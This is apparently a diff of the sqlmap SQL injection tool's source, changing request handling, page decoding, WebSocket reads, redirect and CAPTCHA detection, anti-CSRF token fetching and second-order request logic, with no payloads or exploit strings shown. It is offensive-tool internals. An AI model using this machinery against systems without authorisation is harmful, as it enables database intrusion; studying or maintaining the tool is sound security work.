else:
|
||||||
if len(child.getchildren()) == 0:
|
if len(child.findall("*")) == 0:
|
||||||
test[child.tag] = None
|
test[child.tag] = None
|
||||||
continue
|
continue
|
||||||
else:
|
else:
|
||||||
test[child.tag] = AttribDict()
|
test[child.tag] = AttribDict()
|
||||||
|
|
||||||
for gchild in child.getchildren():
|
for gchild in child:
|
||||||
if gchild.tag in test[child.tag]:
|
if gchild.tag in test[child.tag]:
|
||||||
prevtext = test[child.tag][gchild.tag]
|
prevtext = test[child.tag][gchild.tag]
|
||||||
test[child.tag][gchild.tag] = [prevtext, gchild.text]
|
test[child.tag][gchild.tag] = [prevtext, gchild.text]
|
||||||
@@ -77,6 +77,15 @@ def parseXmlNode(node):
|
|||||||
conf.tests.append(test)
|
conf.tests.append(test)
|
||||||
|
|
||||||
def loadBoundaries():
|
def loadBoundaries():
|
||||||
|
"""
|
||||||
|
Loads boundaries from XML
|
||||||
|
|
||||||
|
>>> conf.boundaries = []
|
||||||
|
>>> loadBoundaries()
|
||||||
|
>>> len(conf.boundaries) > 0
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
doc = et.parse(paths.BOUNDARIES_XML)
|
doc = et.parse(paths.BOUNDARIES_XML)
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
@@ -89,6 +98,15 @@ def loadBoundaries():
|
|||||||
parseXmlNode(root)
|
parseXmlNode(root)
|
||||||
|
|
||||||
def loadPayloads():
|
def loadPayloads():
|
||||||
|
"""
|
||||||
|
Loads payloads/tests from XML
|
||||||
|
|
||||||
|
>>> conf.tests = []
|
||||||
|
>>> loadPayloads()
|
||||||
|
>>> len(conf.tests) > 0
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
for payloadFile in PAYLOAD_XML_FILES:
|
for payloadFile in PAYLOAD_XML_FILES:
|
||||||
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
|
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -34,6 +34,7 @@ from lib.core.data import conf
|
|||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.decorators import cachedmethod
|
from lib.core.decorators import cachedmethod
|
||||||
|
from lib.core.decorators import lockedmethod
|
||||||
from lib.core.dicts import HTML_ENTITIES
|
from lib.core.dicts import HTML_ENTITIES
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
@@ -47,6 +48,7 @@ from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
|
|||||||
from lib.core.settings import META_CHARSET_REGEX
|
from lib.core.settings import META_CHARSET_REGEX
|
||||||
from lib.core.settings import PARSE_HEADERS_LIMIT
|
from lib.core.settings import PARSE_HEADERS_LIMIT
|
||||||
from lib.core.settings import SELECT_FROM_TABLE_REGEX
|
from lib.core.settings import SELECT_FROM_TABLE_REGEX
|
||||||
|
from lib.core.settings import UNICODE_ENCODING
|
||||||
from lib.core.settings import VIEWSTATE_REGEX
|
from lib.core.settings import VIEWSTATE_REGEX
|
||||||
from lib.parse.headers import headersParser
|
from lib.parse.headers import headersParser
|
||||||
from lib.parse.html import htmlParser
|
from lib.parse.html import htmlParser
|
||||||
@@ -57,6 +59,7 @@ from thirdparty.odict import OrderedDict
|
|||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
from thirdparty.six.moves import http_client as _http_client
|
from thirdparty.six.moves import http_client as _http_client
|
||||||
|
|
||||||
|
@lockedmethod
|
||||||
def forgeHeaders(items=None, base=None):
|
def forgeHeaders(items=None, base=None):
|
||||||
"""
|
"""
|
||||||
Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing
|
Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing
|
||||||
@@ -110,9 +113,9 @@ def forgeHeaders(items=None, base=None):
|
|||||||
if conf.loadCookies:
|
if conf.loadCookies:
|
||||||
conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)
|
conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)
|
||||||
elif kb.mergeCookies is None:
|
elif kb.mergeCookies is None:
|
||||||
message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE
|
message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE
|
||||||
message += "The target URL provided its own cookies within "
|
message += "target URL provides its own cookies within "
|
||||||
message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
|
message += "HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
|
||||||
message += "Do you want to merge them in further requests? [Y/n] "
|
message += "Do you want to merge them in further requests? [Y/n] "
|
||||||
|
|
||||||
kb.mergeCookies = readInput(message, default='Y', boolean=True)
|
kb.mergeCookies = readInput(message, default='Y', boolean=True)
|
||||||
@@ -258,13 +261,13 @@ def getHeuristicCharEncoding(page):
|
|||||||
retVal = kb.cache.encoding.get(key) or detect(page)["encoding"]
|
retVal = kb.cache.encoding.get(key) or detect(page)["encoding"]
|
||||||
kb.cache.encoding[key] = retVal
|
kb.cache.encoding[key] = retVal
|
||||||
|
|
||||||
if retVal:
|
if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""):
|
||||||
infoMsg = "heuristics detected web page charset '%s'" % retVal
|
infoMsg = "heuristics detected web page charset '%s'" % retVal
|
||||||
singleTimeLogMessage(infoMsg, logging.INFO, retVal)
|
singleTimeLogMessage(infoMsg, logging.INFO, retVal)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def decodePage(page, contentEncoding, contentType):
|
def decodePage(page, contentEncoding, contentType, percentDecode=True):
|
||||||
"""
|
"""
|
||||||
Decode compressed/charset HTTP response
|
Decode compressed/charset HTTP response
|
||||||
|
|
||||||
@@ -331,40 +334,45 @@ def decodePage(page, contentEncoding, contentType):
|
|||||||
|
|
||||||
# can't do for all responses because we need to support binary files too
|
# can't do for all responses because we need to support binary files too
|
||||||
if isinstance(page, six.binary_type) and "text/" in contentType:
|
if isinstance(page, six.binary_type) and "text/" in contentType:
|
||||||
# e.g. 	Ãëàâà
|
if not kb.disableHtmlDecoding:
|
||||||
if b"&#" in page:
|
# e.g. 	Ãëàâà
|
||||||
page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page)
|
if b"&#" in page:
|
||||||
page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
|
page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page)
|
||||||
|
page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
|
||||||
|
|
||||||
# e.g. %20%28%29
|
# e.g. %20%28%29
|
||||||
if b"%" in page:
|
if percentDecode:
|
||||||
page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
|
if b"%" in page:
|
||||||
|
page = re.sub(b"%([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), page)
|
||||||
|
page = re.sub(b"%([0-9A-F]{2})", lambda _: decodeHex(_.group(1)), page) # Note: %DeepSee_SQL in CACHE
|
||||||
|
|
||||||
# e.g. &
|
# e.g. &
|
||||||
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
|
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
|
||||||
|
|
||||||
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
|
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
|
||||||
|
|
||||||
if (kb.pageEncoding or "").lower() == "utf-8-sig":
|
if (kb.pageEncoding or "").lower() == "utf-8-sig":
|
||||||
kb.pageEncoding = "utf-8"
|
kb.pageEncoding = "utf-8"
|
||||||
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
|
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
|
||||||
page = page[3:]
|
page = page[3:]
|
||||||
|
|
||||||
page = getUnicode(page, kb.pageEncoding)
|
page = getUnicode(page, kb.pageEncoding)
|
||||||
|
|
||||||
# e.g. ’…™
|
# e.g. ’…™
|
||||||
if "&#" in page:
|
if "&#" in page:
|
||||||
def _(match):
|
def _(match):
|
||||||
retVal = match.group(0)
|
retVal = match.group(0)
|
||||||
try:
|
try:
|
||||||
retVal = _unichr(int(match.group(1)))
|
retVal = _unichr(int(match.group(1)))
|
||||||
except (ValueError, OverflowError):
|
except (ValueError, OverflowError):
|
||||||
pass
|
pass
|
||||||
return retVal
|
return retVal
|
||||||
page = re.sub(r"&#(\d+);", _, page)
|
page = re.sub(r"&#(\d+);", _, page)
|
||||||
|
|
||||||
# e.g. ζ
|
# e.g. ζ
|
||||||
page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
|
page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
|
||||||
|
else:
|
||||||
|
page = getUnicode(page, kb.pageEncoding)
|
||||||
|
|
||||||
return page
|
return page
|
||||||
|
|
||||||
@@ -425,12 +433,17 @@ def processResponse(page, responseHeaders, code=None, status=None):
|
|||||||
for match in re.finditer(r"(?si)<form.+?</form>", page):
|
for match in re.finditer(r"(?si)<form.+?</form>", page):
|
||||||
if re.search(r"(?i)captcha", match.group(0)):
|
if re.search(r"(?i)captcha", match.group(0)):
|
||||||
kb.captchaDetected = True
|
kb.captchaDetected = True
|
||||||
warnMsg = "potential CAPTCHA protection mechanism detected"
|
|
||||||
if re.search(r"(?i)<title>[^<]*CloudFlare", page):
|
|
||||||
warnMsg += " (CloudFlare)"
|
|
||||||
singleTimeWarnMessage(warnMsg)
|
|
||||||
break
|
break
|
||||||
|
|
||||||
|
if re.search(r"<meta[^>]+\brefresh\b[^>]+\bcaptcha\b", page):
|
||||||
|
kb.captchaDetected = True
|
||||||
|
|
||||||
|
if kb.captchaDetected:
|
||||||
|
warnMsg = "potential CAPTCHA protection mechanism detected"
|
||||||
|
if re.search(r"(?i)<title>[^<]*CloudFlare", page):
|
||||||
|
warnMsg += " (CloudFlare)"
|
||||||
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
if re.search(BLOCKED_IP_REGEX, page):
|
if re.search(BLOCKED_IP_REGEX, page):
|
||||||
warnMsg = "it appears that you have been blocked by the target server"
|
warnMsg = "it appears that you have been blocked by the target server"
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -12,6 +12,7 @@ class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler):
|
|||||||
Reference: http://selenic.com/hg/rev/6c51a5056020
|
Reference: http://selenic.com/hg/rev/6c51a5056020
|
||||||
Fix for a: http://bugs.python.org/issue8797
|
Fix for a: http://bugs.python.org/issue8797
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, *args, **kwargs):
|
def __init__(self, *args, **kwargs):
|
||||||
_urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs)
|
_urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs)
|
||||||
self.retried_req = set()
|
self.retried_req = set()
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -22,7 +22,6 @@ except ImportError:
|
|||||||
class WebSocketException(Exception):
|
class WebSocketException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
from extra.safe2bin.safe2bin import safecharencode
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import asciifyUrl
|
from lib.core.common import asciifyUrl
|
||||||
from lib.core.common import calculateDeltaSeconds
|
from lib.core.common import calculateDeltaSeconds
|
||||||
@@ -99,6 +98,7 @@ from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
|
|||||||
from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
|
from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
|
||||||
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
|
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
|
from lib.core.settings import JAVASCRIPT_HREF_REGEX
|
||||||
from lib.core.settings import LARGE_READ_TRIM_MARKER
|
from lib.core.settings import LARGE_READ_TRIM_MARKER
|
||||||
from lib.core.settings import MAX_CONNECTION_READ_SIZE
|
from lib.core.settings import MAX_CONNECTION_READ_SIZE
|
||||||
from lib.core.settings import MAX_CONNECTIONS_REGEX
|
from lib.core.settings import MAX_CONNECTIONS_REGEX
|
||||||
@@ -119,12 +119,14 @@ from lib.core.settings import UNENCODED_ORIGINAL_VALUE
|
|||||||
from lib.core.settings import UNICODE_ENCODING
|
from lib.core.settings import UNICODE_ENCODING
|
||||||
from lib.core.settings import URI_HTTP_HEADER
|
from lib.core.settings import URI_HTTP_HEADER
|
||||||
from lib.core.settings import WARN_TIME_STDEV
|
from lib.core.settings import WARN_TIME_STDEV
|
||||||
|
from lib.core.settings import WEBSOCKET_INITIAL_TIMEOUT
|
||||||
from lib.request.basic import decodePage
|
from lib.request.basic import decodePage
|
||||||
from lib.request.basic import forgeHeaders
|
from lib.request.basic import forgeHeaders
|
||||||
from lib.request.basic import processResponse
|
from lib.request.basic import processResponse
|
||||||
from lib.request.comparison import comparison
|
from lib.request.comparison import comparison
|
||||||
from lib.request.direct import direct
|
from lib.request.direct import direct
|
||||||
from lib.request.methodrequest import MethodRequest
|
from lib.request.methodrequest import MethodRequest
|
||||||
|
from lib.utils.safe2bin import safecharencode
|
||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
from thirdparty.odict import OrderedDict
|
from thirdparty.odict import OrderedDict
|
||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
@@ -450,10 +452,25 @@ class Connect(object):
|
|||||||
|
|
||||||
if webSocket:
|
if webSocket:
|
||||||
ws = websocket.WebSocket()
|
ws = websocket.WebSocket()
|
||||||
ws.settimeout(timeout)
|
ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
|
||||||
ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically
|
ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically
|
||||||
ws.send(urldecode(post or ""))
|
ws.send(urldecode(post or ""))
|
||||||
page = ws.recv()
|
|
||||||
|
_page = []
|
||||||
|
|
||||||
|
if kb.webSocketRecvCount is None:
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
_page.append(ws.recv())
|
||||||
|
except websocket.WebSocketTimeoutException:
|
||||||
|
kb.webSocketRecvCount = len(_page)
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
for i in xrange(max(1, kb.webSocketRecvCount)):
|
||||||
|
_page.append(ws.recv())
|
||||||
|
|
||||||
|
page = "\n".join(_page)
|
||||||
|
|
||||||
ws.close()
|
ws.close()
|
||||||
code = ws.status
|
code = ws.status
|
||||||
status = _http_client.responses[code]
|
status = _http_client.responses[code]
|
||||||
@@ -549,7 +566,7 @@ class Connect(object):
|
|||||||
code = None
|
code = None
|
||||||
responseHeaders = {}
|
responseHeaders = {}
|
||||||
|
|
||||||
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
|
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
|
||||||
status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
|
status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
|
||||||
|
|
||||||
kb.connErrorCounter = 0
|
kb.connErrorCounter = 0
|
||||||
@@ -563,12 +580,18 @@ class Connect(object):
|
|||||||
debugMsg = "got HTML meta refresh header"
|
debugMsg = "got HTML meta refresh header"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
if not refresh:
|
||||||
|
refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
|
||||||
|
|
||||||
|
if refresh:
|
||||||
|
debugMsg = "got Javascript redirect logic"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
if refresh:
|
if refresh:
|
||||||
if kb.alwaysRefresh is None:
|
if kb.alwaysRefresh is None:
|
||||||
msg = "sqlmap got a refresh request "
|
msg = "got a refresh intent "
|
||||||
msg += "(redirect like response common to login pages). "
|
msg += "(redirect like response common to login pages) to '%s'. " % refresh
|
||||||
msg += "Do you want to apply the refresh "
|
msg += "Do you want to apply it from now on? [Y/n]"
|
||||||
msg += "from now on (or stay on the original page)? [Y/n]"
|
|
||||||
|
|
||||||
kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)
|
kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)
|
||||||
|
|
||||||
@@ -620,7 +643,7 @@ class Connect(object):
|
|||||||
responseHeaders = ex.info()
|
responseHeaders = ex.info()
|
||||||
responseHeaders[URI_HTTP_HEADER] = ex.geturl()
|
responseHeaders[URI_HTTP_HEADER] = ex.geturl()
|
||||||
patchHeaders(responseHeaders)
|
patchHeaders(responseHeaders)
|
||||||
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
|
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
warnMsg = "connection timed out while trying "
|
warnMsg = "connection timed out while trying "
|
||||||
warnMsg += "to get error page information (%d)" % ex.code
|
warnMsg += "to get error page information (%d)" % ex.code
|
||||||
@@ -690,7 +713,7 @@ class Connect(object):
|
|||||||
else:
|
else:
|
||||||
raise SqlmapConnectionException(warnMsg)
|
raise SqlmapConnectionException(warnMsg)
|
||||||
else:
|
else:
|
||||||
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
|
debugMsg = "got HTTP error code: %d ('%s')" % (code, status)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
|
except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
|
||||||
@@ -839,7 +862,7 @@ class Connect(object):
|
|||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
@stackedmethod
|
@stackedmethod
|
||||||
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
|
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
|
||||||
"""
|
"""
|
||||||
This method calls a function to get the target URL page content
|
This method calls a function to get the target URL page content
|
||||||
and returns its page ratio (0 <= ratio <= 1) or a boolean value
|
and returns its page ratio (0 <= ratio <= 1) or a boolean value
|
||||||
@@ -924,7 +947,7 @@ class Connect(object):
|
|||||||
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
|
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
|
||||||
# payloads in SOAP/XML should have chars > and < replaced
|
# payloads in SOAP/XML should have chars > and < replaced
|
||||||
# with their HTML encoded counterparts
|
# with their HTML encoded counterparts
|
||||||
payload = payload.replace('>', ">").replace('<', "<")
|
payload = payload.replace('&', "&").replace('>', ">").replace('<', "<").replace('"', """).replace("'", "'") # Reference: https://stackoverflow.com/a/1091953
|
||||||
elif kb.postHint == POST_HINT.JSON:
|
elif kb.postHint == POST_HINT.JSON:
|
||||||
payload = escapeJsonValue(payload)
|
payload = escapeJsonValue(payload)
|
||||||
elif kb.postHint == POST_HINT.JSON_LIKE:
|
elif kb.postHint == POST_HINT.JSON_LIKE:
|
||||||
@@ -1030,16 +1053,16 @@ class Connect(object):
|
|||||||
|
|
||||||
match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I)
|
match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I)
|
||||||
if match:
|
if match:
|
||||||
retVal = re.sub("(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
|
retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
|
||||||
else:
|
else:
|
||||||
match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I)
|
match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I)
|
||||||
if match:
|
if match:
|
||||||
retVal = re.sub("(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
|
retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
token = AttribDict()
|
token = AttribDict()
|
||||||
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
||||||
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
|
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
|
||||||
|
|
||||||
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
|
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
|
||||||
@@ -1198,7 +1221,7 @@ class Connect(object):
|
|||||||
|
|
||||||
for name, value in variables.items():
|
for name, value in variables.items():
|
||||||
if name != "__builtins__" and originals.get(name, "") != value:
|
if name != "__builtins__" and originals.get(name, "") != value:
|
||||||
if isinstance(value, (int, six.string_types)):
|
if isinstance(value, (int, float, six.string_types)):
|
||||||
found = False
|
found = False
|
||||||
value = getUnicode(value, UNICODE_ENCODING)
|
value = getUnicode(value, UNICODE_ENCODING)
|
||||||
|
|
||||||
@@ -1339,17 +1362,18 @@ class Connect(object):
|
|||||||
warnMsg += "behavior in custom WAF/IPS solutions"
|
warnMsg += "behavior in custom WAF/IPS solutions"
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
if conf.secondUrl:
|
if not ignoreSecondOrder:
|
||||||
page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
if conf.secondUrl:
|
||||||
elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
|
page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||||
def _(value):
|
elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
|
||||||
if kb.customInjectionMark in (value or ""):
|
def _(value):
|
||||||
if payload is None:
|
if kb.customInjectionMark in (value or ""):
|
||||||
value = value.replace(kb.customInjectionMark, "")
|
if payload is None:
|
||||||
else:
|
value = value.replace(kb.customInjectionMark, "")
|
||||||
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
|
else:
|
||||||
return value
|
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
|
||||||
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
return value
|
||||||
|
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||||
|
|
||||||
